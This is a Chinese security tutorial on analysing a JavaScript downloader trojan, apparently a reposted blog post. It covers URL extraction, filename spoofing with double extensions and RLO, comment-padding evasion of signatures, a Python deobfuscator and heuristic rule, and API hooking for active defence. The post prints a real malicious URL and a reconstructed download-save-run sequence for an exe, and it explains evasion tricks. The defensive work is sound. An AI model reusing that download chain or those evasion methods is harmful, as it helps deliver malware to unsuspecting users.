1. 程式人生 > >病毒木馬查殺實戰第025篇:JS下載者指令碼木馬的分析與防禦

病毒木馬查殺實戰第025篇:JS下載者指令碼木馬的分析與防禦

前言


       這次我與大家分享的是我所總結的關於JS下載者指令碼木馬的分析與防禦技術。之所以要選擇這樣的一個題目,是因為在日常的病毒分析工作中,每天都會遇到這類病毒樣本,少則幾個,多則幾十個(當然了,更多的樣本已經被自動分析系統攔截下來了)。而且這類的樣本甚至還有愈演愈烈之勢,很可能會長盛不衰。JS指令碼木馬之所以會如此氾濫,與它的編寫簡單、易於免殺以及難以封堵等特點息息相關。而我們本次的課程也會圍繞它的這三個特點展開講解,從而讓大家全面的掌握JS指令碼木馬的分析與防禦技術。

 

JS下載者指令碼木馬基本分析方法


       

利用JavaScript編寫出來的下載者木馬主要實現兩個功能,一是連線某個網站執行下載的操作,另一個就是執行下載下來的檔案。當我拿到一個下載者木馬樣本的時候,完整的分析流程如下:


       1、找出下載者木馬連線的網站

       2、將這個網站加入我們的黑名單,這樣我們的產品就可以對該網站實現攔截

       3、分析JS木馬下載下來的檔案,對其進行歸類並提取特徵

       4、將JS木馬樣本分類,提取特徵

       

5、分析惡意網站歸屬,結合社工庫,找出木馬的編寫者


       這裡我們主要講一下第一步,也就是如何找出木馬用於下載所連線的網站。首先我們需要知道的是,JS指令碼既然只是一段程式,那麼它是依託於什麼來執行的呢?不妨在虛擬機器裡面監控一下,這裡我所使用的是ProcessExplorer:



       可以看到,在explorer.exe程序下面出現了一個名為wscript.exe的子程序,它位於system32目錄下,也正是這個程序,啟動了Trojan.js指令碼程式。既然找到了JS指令碼執行所依託的程式,那麼我們就可以利用OD來除錯一下,從而找出JS指令碼所連線的網址。


       首先用OD載入wscript.exe,然後選擇“除錯”->“引數”,輸入JS指令碼的路徑,再重新載入。然後在UrlCanonicalizeA/W這兩個位置下斷點,再按F9執行,於是就能夠找到下載連結:




       或者也可以採用更簡單的方法抓取下載連結。我們可以利用Wireshark對虛擬機器進行監控,就可以找到對一個網站的GET請求:




       接下來可以把我們所找到的網址http://growseo.co.uk/bhdjls上傳到VirusTotal來檢測一下:




       可以看到,一共有8家廠商認為它是惡意網站,那麼基本就可以認定它是惡意的了。之後的挖掘工作,大家如果有興趣的話,可以進一步研究。

 

JS指令碼檔名中的花招   


       說到JS惡意程式的自我保護措施,我們可以從程式外觀以及內在這兩個方面來分析。這裡所說的自我保護措施,具體來說就是誘惑使用者點選,並且還能夠躲避防毒軟體的查殺。首先說一下外觀,這裡我引用的是《病毒木馬查殺實戰第022篇:txt病毒研究》裡面所講到的方法。由於JS指令碼程式的圖示一般來說是沒辦法更改的,所以也就不能夠像PE類病毒那樣給自己換一個WORD文件或者是PDF文件那樣的圖示來進行欺騙。因此往往也就只能夠在檔名上做文章了。最常見的就是諸如invoice、payment、booking以及schedule這類與財務或者行政相關的詞彙。因為企業裡面經常與票據以及行程打交道的正是財務或者行政人員,而他們的安全意識往往比較薄弱,比如在e-mail的附件中要是出現了這些檔案,往往會毫不猶豫地點開來看一下,於是也就中了黑客的圈套了。因此我希望每一家企業都要對自己的職員進行安全培訓,在執行一個檔案之前一定要確定它的字尾名是什麼,這需要在Windows的設定裡面手動的將顯示副檔名選項打勾。舉個例子,有些js類病毒可能會這樣命名:invoice-2016-0930.doc.js。由於我們的系統預設是不顯示字尾名的,所以大家很可能就會看到invoice-2016-0930.doc這樣的檔名,乍一看還以為就是doc檔案。但它實際上是js指令碼檔案,因此我還是建議大家一定要將檔案字尾調出來。如果真的是doc、ppt、xls或者pdf這類的文件,並且來源可靠,那麼一般來說是比較安全的。當然了,不排除黑客在office檔案中植入巨集病毒的情況,但是隻要不啟用巨集,那麼問題也不大。但是如果黑客建立了一個針對某個漏洞的文件類檔案,那這個就比較難通過簡單的培訓來防範了。唯有及時對相關軟體進行更新,才能夠有效地制止這類惡意程式。如果接收到未知檔案的字尾是exe、vbs或者js,那就千萬不要隨意點開運行了。


       有些時候,儘管大家已經把字尾名調了出來,但是黑客依舊有辦法來講自己的字尾名“真的”改為doc這類看似無害的名稱。假設大家看到這樣的檔名“高效人士的10個祕訣作者:sj.doc”。通過檢視字尾名可以發現確實是doc,而且檔名還挺吸引人,畢竟職場人士都希望自己能夠擁有高效的工作效率,那麼我相信大家十有八九都會開啟來看一看。結果一開啟,也就中了黑客的圈套了。其實這個檔案依舊是一個JS指令碼檔案,之所以會出現這樣的字尾名,是因為檔名裡面插入了RLO轉義字元。其實這個檔案最初的檔名是“高效人士的10個祕訣作者:cod.js”,(注意doc要反著寫)接下來就可以在“作者:”與“cod”之間插入一個RLO轉義字元,也就達到了迷惑的目的。但是如果我們能夠在檔案瀏覽器中將顯示方式設定為“詳細資訊”,那麼也可以看到檔案型別是JS指令碼,因此大家平時一定要小心謹慎才可以。

 

JS指令碼木馬的免殺技術


       目前較為高階的防毒技術主要分為啟發查殺以及主動防禦這兩種。但是事實上,對於安全廠商而言,依舊要倚重於特徵碼查殺的方式。相關的技術大家可以參考《病毒木馬查殺實戰第018篇:病毒特徵碼查殺之基本原理》以及《病毒木馬查殺實戰第019篇:病毒特徵碼查殺之程式設計實現》。簡單來講,特徵碼查殺有兩種方式:


       第一種方式是直接對病毒樣本進行雜湊運算,將雜湊值加入病毒庫,這樣就實現了對病毒的識別,也是目前的雲查殺技術所採用的方式。這種方式的缺點在於,即便病毒的變種與上一代相比變化極小,那麼雜湊出來的結果也是不同的,也就是說這是一對一的關係,有幾個病毒就需要計算多少個雜湊值,因此效率還是很低的,病毒的免殺還是很容易做的。


       第二種方式是在病毒內部提取特徵碼,只要病毒新的變種不改變這個特徵碼,那麼舊的特徵依舊可以識別新的變種病毒。這種特徵碼查殺的方式一般來說並不會對病毒檔案進行全文匹配,而是會結合相應的偏移進行查詢。比如我們可以將這次的樣本上傳到VirusTotal上面來掃描一下:




       可以看到,一共有37家廠商報毒,根據各個廠商反饋的病毒名稱可以斷定,我們這個樣本屬於JS下載者木馬。接下來我們可以選取一個偏移的二進位制程式碼作為這個樣本的特徵:

 


      

       比如選取偏移為0x00082B80這個位置,因為這裡包含有惡意網址。


       對於這種依據偏移加上特徵碼的查殺方式,如果病毒是PE檔案,那麼想要做免殺相對來說會麻煩一些。但是對於JS指令碼,那就非常簡單了。因為黑客完全可以對原始碼經過簡單的修改,從而使得後續一系列的程式碼偏移產生改變,於是也就實現了免殺,畢竟之前提取特徵的位置的程式碼已經發生了變化。比如將這個樣本頭部去掉兩行註釋,新增到尾部,然後在樣本程式碼的中間再插入兩行註釋。我們先看一下在經過免殺處理後的樣本的對應偏移:




       可以看到,儘管在這段程式碼區域依舊可以看到惡意網址,但是偏移已經發生了變化,網址的位置後移了,儘管這個變化很微小,但也能夠使得我們之前提取的特徵失效了。


       這裡我們可以再嘗試一下,把檔案上傳到VirusTotal掃描一下:




       可見,這簡簡單單的改動,就成功地躲避掉了五家殺軟的查殺,說明這種方式還是非常有效的。餘下的這些廠商之所以還能夠檢測到這個樣本,要麼是由於最初的特徵碼選取得好,使得能夠有效地應對變種,要麼就是採用了更加高階的查殺技術。


       為了對抗黑客的這種免殺方式,有些防毒引擎會將目標檔案切割,比如選取病毒檔案頭部的1024個位元組,選取尾部的1024個位元組,再選取中部的1024個位元組,針對這幾個部分來提取特徵碼。這樣一來,即便黑客在病毒頭部加上了註釋,但是由於尾部的程式碼沒有改變,因此提取在尾部的特徵碼依舊是有效的。


       但是道高一尺魔高一丈,黑客現在更加常用的免殺手段是在檔案頭、檔案尾和檔案中部全都添加註釋,這樣就能夠很有效地對抗防毒廠商的分段提取特徵的手法。甚至黑客還會編寫程式,來自動的為JS指令碼在多個位置新增各種各樣的註釋,從而在短時間內生成成千上萬的不同的JS指令碼。這樣一來,就會造成JS指令碼病毒的大規模爆發了。可見,這場攻與防的鬥爭確實是永無止境的。

 

利用啟發查殺對抗JS下載者指令碼木馬

       

       為了對抗這種利用註釋或其它混淆方式進行免殺的指令碼病毒,防毒廠商常常會使用啟發以及主動防禦的方式進行攔截。


       如果大家看過《模仿遊戲》就會知道,二戰時德軍發明了ENIGMA密碼機,用於資訊的加密。這種採用機械加密的加密方式,如果通過人的手工計算進行解密,那是非常不現實的,即便能夠解密,那也失去了時效性。所以當時的科學家以及技術人員就發明了專門的用於解密的機器。也就是說,利用機械來對抗機械,才是打贏那場戰爭的正確的做法。同樣的道理,對於大規模爆發的JS指令碼病毒,甚至是一些未知的病毒,我們應當以程式來對抗程式,而不應該通過單純的手工提特徵的方式,一個病毒一個病毒地進行查殺。


       我們還是回到剛才我們做好免殺之後的VirusTotal的介面,可以看到,卡巴斯基所報的病毒名稱已經有了變化,從之前的“Trojan-Downloader.JS.Agent.mhz”變成了“HEUR:Trojan-Downloader.Script.Generic”。這說明對於這一類的下載者木馬,已經被卡巴斯基的HEUR也就是啟發技術所識別了。這也就是說,即便防毒廠商沒有這個病毒樣本,沒有對其進行特徵的提取等操作,依舊可以利用啟發查殺的方式來應對這些未知的威脅。


       所謂啟發查殺,指的是通過分析程式指令出現的順序,或者特定的組合情況以及所呼叫的函式的引數等屬於惡意行為特徵,來判斷目標程式是不是病毒程式。舉個簡單的例子來說,假設某個程式在執行後,會將自身加入啟動項,再將自身複製到系統目錄中,之後刪除自身。通過這一系列的可疑行為就基本可斷定,它是一個惡意程式了。我們就可以將這些行為編寫成特徵,這樣防毒軟體只要遇到有這種行為的程式,就會將它查殺掉了。由於這些行為需要動態執行才能夠看出來,因此很多防毒軟體都會自帶一個沙箱,通過未知程式在沙箱中執行出來的結果(日誌檔案)來判定其乾淨與否。這種方式屬於動態啟發的方式。


       針對於我們這次的樣本,那麼只需要採用靜態啟發的方式就可以了。因為儘管樣本中採用了添加註釋等免殺方式,但是程式呼叫了哪些函式以及引數,還是很容易就可以找出來的。一般來說,各家防毒廠商都會有自己的解密引擎,這個解密引擎其實也是防毒軟體產品的一部分。病毒分析師就可以利用這個引擎所得出的結果,來編寫病毒特徵,從而實現對這一類的病毒的查殺工作。我在這裡需要強調的是,對於很多的JS下載者指令碼,也許大家一眼就能夠看出來這個病毒的下載連結,也能夠一眼看出來惡意程式下載的路徑,但是我們的目的是讓我們的安全產品識別這類的病毒,這就對開發人員以及病毒分析師提出了兩點要求,一是防毒引擎要寫得好,能夠識別各種各樣的混淆方式,最後得出的結果要能夠體現這個病毒的本質。其次要求病毒分析師依據得出的結果,在避免誤報的前提下,利用最少的特徵匹配到更多的病毒,這就要求分析師具有豐富的經驗,知道哪些行為是惡意程式常用的,哪些行為是正常程式常用的。解密前的程式如下(部分):




       這裡,我會編寫一個簡單的解密程式,用於去除我們這次樣本所採用的混淆方式。程式使用python實現,主要是使用正則表示式進行匹配與轉換。解密程式的工作主要有以下幾個部分:


       1、去除程式中的註釋

       我們通過之前的分析可以知道,這個指令碼程式添加了非常多的註釋用於偏移的更改,以躲避特徵碼查殺。並且所有的註釋都是以“/**/”的形式出現的,所以可以使用以下程式進行匹配與刪除:

pattern_notes = re.compile(r'/\*{1,2}[\s\S]*?\*/')
s = pattern_notes.sub('',s)

       2、去除程式中的雙引號和加號

       通過分析這次的指令碼程式我們還發現,它採用了大量的雙引號與加號來增加混淆,比如對於程式中隱藏的惡意網址,是這樣寫的:

"http:"+"//gro"+"wseo"+".co."+"uk/bh"+"djls"

       為了將網址還原,我們可以通過正則表示式匹配雙引號和加號的形式,考慮到加號左右還可能出現空格,因此,匹配與刪除的程式可以這樣寫:

pattern_plus = re.compile(r'"[\s\S]{0,1}\+[\s\S]{0,1}"')
s = pattern_plus.sub('',s)

       3、將ASCII碼轉換為字元

       通過之前的Wireshark的抓包分析可以發現,程式使用了GET請求來獲取惡意網站上的一個程式。而GET字元在程式中也是被隱藏了,寫成了如下形式:

ZvxRuxHyel6[QczWiqGlyh0]("G\x45T","http:"+"//gro"+"wseo"+".co."+"uk/bh"+"djls",false);

       對於當前的樣本而言,我們的目的就是將\x45轉換為大寫字母E。考慮到通用性,現在很多JS指令碼的全文中可能大量採用了這種模式進行混淆,所以我們需要全文匹配,程式碼如下:

pattern_ascii=re.compile(r'(\\x([0-9][0-9A-Za-z]))')
ret = pattern_ascii.findall(s)
         fori in ret:
                   s= s.replace(i[0], chr(int(i[1],16)))

       4、生成最終解密檔案

       經過上述一系列的解密,餘下的程式就能夠更好地被識別了(_Gen檔案):




       當然了,這裡面還可以進行進一步的簡化,比如還需要消除逗號運算子(這裡需要考慮括號巢狀的情況),實現賦值操作等等,從而還原出這個JS檔案的本質,最好是能夠得到如下結果:

open("GET","http://growseo.co.uk/bhdjls");
send("GET,http://growseo.co.uk/bhdjls");
FsqUblWbyq1.Sleep;
Write("GET,http://growseo.co.uk/bhdjls");
SaveToFile("C:\temp\sHcdwUAWavnEVPab.exe","2");
Close("C:\temp\sHcdwUAWavnEVPab.exe");
Run("C:\temp\sHcdwUAWavnEVPab.exe","0","0");

       如何進一步優化,得到上述結果,不是我們討論的重點,大家有興趣的話可以自行研究。利用我們這次的程式碼所得出的_Gen檔案,我們就可以編寫病毒的啟發特徵了,也就是病毒分析師的日常工作內容。


       對於上述得出的解密檔案(_Gen檔案),我們需要找出下載者經常使用的關鍵字或者語句序列,比如第一條特徵的編寫,可以對一行裡面有沒有出現GET以及http這兩個字元來判斷指令碼檔案有沒有執行下載的操作。接下來的第二條特徵可以對下載的或者執行的檔案型別和路徑進行判斷,比如可以檢查有沒有出現%TEMP%以及.exe這兩個字串。只要解密後的內容出現這兩條特徵,我們就認為它是下載者程式了。程式如下:

download = 0; file = 0;
         # 對生成的檔案進行關鍵字的匹配
         for lines in generateFile:
                   if lines.find('GET') != -1and lines.find('http') != -1:                   
                            download += 1
                   elif lines.find('.exe') != -1and lines.find('%TEMP%') != -1:
                            file += 1
         # 依據上述對比結果來判斷檔案是否為木馬
         if download and file:
                   print (fileName + "  detected HEUR:Trojan-Downloader.JS.Notes.gen")
         else:
                   print (fileName + "  Clean")

       這裡需要特別強調的是,由於很多正常的指令碼檔案可能也會實現下載的操作,所以它們也會被上述程式所檢測到,為了避免誤報,我們還需要再加入一些限定條件。考慮到正常指令碼檔案一般並不會採用五花八門的混淆手段,而採用了混淆手段的惡意檔案在解密前後它的檔案大小往往是很不一樣的,基於這一點,我們可以在程式中再編寫一條特徵,用於判定指令碼程式是否採用了混淆技術。也就是對比解密前後文件的大小,比如,如果相差十倍以上,就認為混淆技術存在。程式碼如下:

ori = os.path.getsize(fileName)
after = os.path.getsize(fileName +"_Gen")
if download and file and(ori/after>10):
                   print(fileName + "  detected  HEUR:Trojan-Downloader.JS.Notes.gen")
         else:
                   print(fileName + "  Clean")

       大家從上文可以看出,啟發特徵的編寫其實就是可疑字串的選取與匹配的工作。可見,只要解密程式編寫的巧妙,啟發特徵選取得比較好,那麼利用啟發技術是可以對抗非常多的未知威脅的。

 

利用主動防禦對抗JS下載者指令碼木馬


       儘管利用啟發查殺的方式已經可以很好地對抗一大批採用相似混淆技術的木馬,可是現今的黑客們對於防毒廠商的手段也是瞭解的,總能夠在編寫技巧上採用一些巧妙的手法來對抗啟發技術的查殺。而且儘管相比於傳統的特徵碼查殺技術,啟發查殺所編寫的特徵可以應對更多的未知木馬。但是這也需要病毒分析師不斷地研究最新的指令碼木馬混淆技術,從而根據這些技術來編寫解密程式,進而編寫啟發特徵。因此,對於防毒廠商而言,即便是採用了啟發查殺技術,那麼依舊是處於後手的地位。所以,目前來說更為有效地抵禦未知威脅的方法,是主動防禦技術。


       主動防禦技術最基本的原理就是對可疑的API函式進行勾取,讓這些函式在執行之前由使用者決定是否放行,甚至還要判斷這些函式的引數是否具有危險性。那麼從某種意義上來說,主動防禦技術也是一種特徵的匹配與識別。拿我們這次的樣本來說,經過之前的分析可以知道,惡意指令碼程式的下載行為是利用UrlCanonicalize函式實現的,而指令碼程式是依託於wscript.exe這個程序來執行的,wscript.exe又是explorer.exe程序的子程序。既然已經弄清楚了這一系列的關係,那麼我們就可以依據這個過程來編寫主動防禦特徵。比如我們首先可以對explorer.exe這個程序進行監控,監控其是否呼叫了CreateProcess函式建立程序,如果建立了,監測建立的程序是不是wscript.exe,如果是的話,則提示使用者是否放行。放行之後,再對wscript.exe中的UrlCanonicalize函式進行勾取,如果發現該函式被呼叫,則認為指令碼程式屬於下載者,就進行攔截的操作。可見,利用這種思想,不論惡意程式採用了何種混淆加密的方式,只要其本質不變,那麼都能夠對其進行有效地攔截。


       這裡為了簡單起見,我們可以採用R3層的Inline HOOK技術來鉤取CreateProcess以及UrlCanonicalize這兩個函式。關於R3層的Inline HOOK,大家可以參考《病毒木馬查殺實戰第020篇:Ring3層主動防禦之基本原理》以及《病毒木馬查殺實戰第021篇:Ring3層主動防禦之程式設計實現》這兩篇文章。


       針對於這次的樣本,我編寫了HookCreateProcess.dll以及HookCanonicalize.dll這兩個dll檔案。首先需要把HookCreateProcess.dll注入到explorer.exe這個程序裡面,用於監控wscript.exe是否啟動。如果wscript.exe啟動了,而使用者又選擇放行,那麼wscript.exe就會以掛起的方式啟動:

CreateProcessHook.UnHook();
			bRet = CreateProcessW(lpApplicationName,
                        lpCommandLine,
                        lpProcessAttributes,
                        lpThreadAttributes,
                        bInheritHandles,
                        CREATE_SUSPENDED,  // 以掛起的方式建立wscript.exe程序
                        lpEnvironment,
                        lpCurrentDirectory,
                        lpStartupInfo,
                        lpProcessInformation);
			CreateProcessHook.ReHook();


       如果不以掛起方式啟動,那麼wscript.exe就會直接執行指令碼程式,這樣我們就無法鉤取了。接下來我們再把HookCanonicalize.dll注入到掛起的wscript.exe程序中,最後再恢復這個程序。那麼此時就提示使用者,發現了下載行為,是否放行。如果使用者選擇攔截,那麼程式就會阻止下載行為的執行,並且關閉wscript.exe程序,這樣也就實現了主動防禦。


       只要大家理解了R3層的Inline HOOK的原理,我們就可以把這種思想運用在核心程式設計上面。比如編寫一個SSDT的Inline HOOK,這個其實也很簡單,個人感覺它要比R3層的更加有效,也能夠更加方便地對相關操作進行攔截。

 

小結

       

       我們這次通過一個JS下載者指令碼木馬的實際例子,為大家講解了傳統的特徵碼查殺,啟發查殺以及主動防禦技術。儘管後兩個都要比特徵碼查殺更加先進,但是出現誤報的機率還是很大的。啟發查殺以及主動防禦的規則如果寫得太嚴格,往往會出現漏報,而太鬆的話,又容易出現誤報。因此想要編寫出優秀的規則,還是要建立在對於大量病毒的研究的基礎上,找出他們的共性,還原出它們的本質。在我看來,這場與黑客的戰爭,還是非常具有挑戰性的。這也正應了那句話:在攻與防的對立統一中,尋求技術的突破。希望未來能有更多的朋友,投身到安全領域,在這場沒有硝煙的戰爭中,貢獻自己的力量。


配套視訊以及相關檔案百度雲盤下載地址https://pan.baidu.com/s/1c2fwTBq    密碼: yuhb

視訊解壓密碼:www.52pojie.cn


     《從蘇寧電器到卡巴斯基》終稿完整版,請訪問

       https://user.qzone.qq.com/3149487460/blog/1494822165